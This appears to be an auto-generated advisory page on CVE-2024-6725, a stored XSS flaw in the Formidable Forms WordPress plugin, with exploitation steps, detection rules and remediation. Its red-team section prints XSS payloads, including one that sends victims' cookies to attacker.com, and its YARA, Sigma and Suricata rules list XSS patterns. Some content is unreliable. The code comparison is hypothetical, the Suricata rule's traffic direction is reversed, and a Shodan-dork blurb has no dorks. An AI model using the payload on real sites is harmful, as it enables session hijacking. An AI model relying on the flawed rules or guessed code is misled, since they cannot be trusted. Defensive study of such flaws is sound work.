CVE-2024-6725
Executive Summary
CVE-2024-6725 is a Stored Cross-Site Scripting (XSS) vulnerability affecting the Formidable Forms WordPress plugin (versions up to and including 6.11.1). This plugin is a widely used form builder for contact forms, surveys, quizzes, payments, and calculators. The vulnerability resides in insufficient input sanitization and output escaping of the html parameter, allowing authenticated attackers with at least Subscriber-level access and form editing permissions to inject arbitrary web scripts. When a user (including administrators) accesses a page containing the malicious form, the injected script executes in their browser, potentially leading to session hijacking, credential theft, or defacement.
Given the plugin’s popularity (over 300,000 active installations), this vulnerability poses a significant risk to WordPress sites. The CVSS score of 4.9 (Medium) reflects the need for authenticated access, but the impact is amplified by the potential for privilege escalation through XSS.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. While not a direct supply chain compromise of the plugin’s code, the risk is elevated because:
- Widespread adoption: The plugin is used on hundreds of thousands of sites.
- Delayed patching: As of this report, no official patch has been released, leaving all sites running version 6.11.1 or earlier exposed.
- Attack surface: Any authenticated user with form editing capabilities can exploit this, including subscribers who may have been granted form access via other plugins or custom roles.
CVSS Breakdown & Threat Level
CVSS Score: 4.9 (Medium)
Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
| Metric | Value | Rationale |
|---|---|---|
| Attack Vector (AV) | Network | Exploitable remotely over HTTP. |
| Attack Complexity (AC) | Low | No special conditions required; standard HTTP request. |
| Privileges Required (PR) | Low | Attacker needs Subscriber-level access and form editing permissions. |
| User Interaction (UI) | Required | Victim must visit the page containing the malicious form. |
| Scope (S) | Changed | The injected script can affect resources beyond the vulnerable component (e.g., admin dashboard). |
| Confidentiality (C) | Low | Limited data exposure (e.g., session tokens). |
| Integrity (I) | Low | Limited ability to modify content (e.g., defacement). |
| Availability (A) | None | No direct impact on availability. |
Threat Level: Medium. While the CVSS score is moderate, the real-world risk is elevated due to the plugin’s popularity and the lack of a patch. Attackers can chain this with other vulnerabilities (e.g., privilege escalation) to gain full site control.
Deep Dive & Mechanics
The vulnerability exists in the Formidable Forms plugin’s handling of the html parameter when creating or editing forms. The plugin fails to properly sanitize user input and escape output before rendering it in the browser.
Root Cause:
The html parameter is used to define custom HTML content within form fields (e.g., in the “HTML” field type). The plugin does not apply sufficient filtering to prevent the injection of arbitrary JavaScript. Specifically, the wp_kses function (WordPress’s HTML sanitization) is either not used or is configured with overly permissive allowed tags/attributes, allowing event handlers like onclick, onmouseover, or <script> tags.
Attack Flow:
- An authenticated user with Subscriber-level access and form editing permissions logs into WordPress.
- The attacker creates or edits a form, adding an “HTML” field.
- In the field’s content, the attacker injects malicious JavaScript, e.g.,
<script>alert('XSS')</script>or<img src=x onerror=alert(1)>. - The form is saved. The malicious payload is stored in the database.
- When any user (including administrators) views the page containing the form, the script executes in their browser.
Why It’s Dangerous:
- Stored XSS: The payload persists until manually removed.
- Privilege Escalation: An attacker can steal admin session cookies, perform actions on behalf of an admin, or install backdoors.
- Widespread Impact: Any page displaying the form (e.g., via shortcode) is affected.
Vulnerable vs. Patched Code
Since no official patch is available, the following is a hypothetical comparison based on secure coding practices.
Vulnerable Code (Formidable Forms <= 6.11.1):
// In a field rendering function (simplified)
function render_html_field($field) {
$html = $field['html']; // Directly from user input
echo $html; // No sanitization or escaping
}
Patched Code (Hypothetical):
function render_html_field($field) {
$html = $field['html'];
// Sanitize with wp_kses, allowing only safe tags
$allowed_html = array(
'a' => array('href' => array(), 'title' => array()),
'br' => array(),
'em' => array(),
'strong' => array(),
);
$safe_html = wp_kses($html, $allowed_html);
echo $safe_html;
}
Key Differences:
- Input Sanitization: Patched version uses
wp_ksesto strip dangerous tags and attributes. - Output Escaping: Patched version could also use
esc_html()orwp_kses_post()for additional safety.
Exploitation & Lab Setup
Red Team (Attacker) Lab Setup
Prerequisites:
- A WordPress site with Formidable Forms plugin version 6.11.1 or earlier.
- An account with Subscriber-level access and form editing permissions (e.g., via a custom role or plugin).
Exploitation Steps:
- Log in as the attacker (Subscriber).
- Navigate to Formidable → Forms and create a new form or edit an existing one.
- Add an “HTML” field to the form.
- In the HTML content field, enter a malicious payload:
Or a more sophisticated payload to steal cookies:<script>alert('XSS');</script><img src=x onerror="document.location='http://attacker.com/steal.php?c='+document.cookie"> - Save the form.
- Embed the form on a page using the shortcode
[formidable id=XX]. - Send the link to the victim (e.g., an admin) or wait for them to visit the page.
- The victim’s browser executes the script, sending their cookies to the attacker’s server.
Proof-of-Concept (PoC):
No public PoC is available, but the above steps demonstrate the vulnerability.
Blue Team (Defender) Lab Setup
Detection:
- Monitor for unusual form submissions or edits by low-privileged users.
- Look for HTML fields containing
<script>tags or event handlers.
Mitigation:
- Immediate: Disable the Formidable Forms plugin until a patch is released.
- Workaround: Use a Web Application Firewall (WAF) to block malicious payloads in form fields.
- User Education: Restrict form editing permissions to trusted users only.
Indicators of Compromise (IOCs)
Network IOCs:
- HTTP requests to
/wp-admin/admin-ajax.phpwith parameters containing<script>tags or event handlers. - Outbound connections to attacker-controlled domains (e.g., for cookie exfiltration).
Host IOCs:
- Database entries in
wp_frm_fieldswherefield_optionscontains malicious JavaScript. - Log entries showing form edits by Subscriber-level users.
File IOCs:
- Modified plugin files (though unlikely, as the vulnerability is in the database).
Detection Engineering
YARA Rule
rule Detect_Formidable_Forms_XSS_Payload {
meta:
description = "Detects stored XSS payloads targeting Formidable Forms plugin"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2024-6725"
strings:
$xss1 = /<script[^>]*>.*<\/script>/i
$xss2 = /onerror\s*=\s*["']?[^"']*["']?/i
$xss3 = /onclick\s*=\s*["']?[^"']*["']?/i
$xss4 = /onmouseover\s*=\s*["']?[^"']*["']?/i
condition:
any of ($xss*) and filesize < 10KB
}
Sigma Rule
title: Formidable Forms Stored XSS Detection
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects potential stored XSS in Formidable Forms plugin via HTTP requests
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
c-uri|contains:
- '/wp-admin/admin-ajax.php'
cs-method: 'POST'
cs-uri-query|contains:
- 'action=frm_forms_create'
- 'action=frm_forms_update'
cs-request-body|contains:
- '<script'
- 'onerror='
- 'onclick='
- 'onmouseover='
condition: selection
falsepositives:
- Legitimate use of JavaScript in form fields (rare)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-6725 Formidable Forms Stored XSS Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=frm_forms_create|26|"; http_client_body; pcre:"/(<script|onerror=|onclick=|onmouseover=)/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin: If possible, deactivate Formidable Forms until a patch is released.
- Restrict permissions: Remove form editing capabilities from Subscriber-level users.
- WAF rules: Implement virtual patching via WAF to block malicious payloads.
Long-term Fix:
- Apply the official patch once released by Strategy11.
- Upgrade to a patched version (e.g., 6.11.2 or later) when available.
Workaround:
- Use a security plugin (e.g., Wordfence) to block XSS attempts.
- Manually sanitize form HTML fields by adding custom code to
functions.php:add_filter('frm_validate_field_entry', function($value, $field) { if ($field->type == 'html') { $value = wp_kses_post($value); } return $value; }, 10, 2);
Valters IT Signature
This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.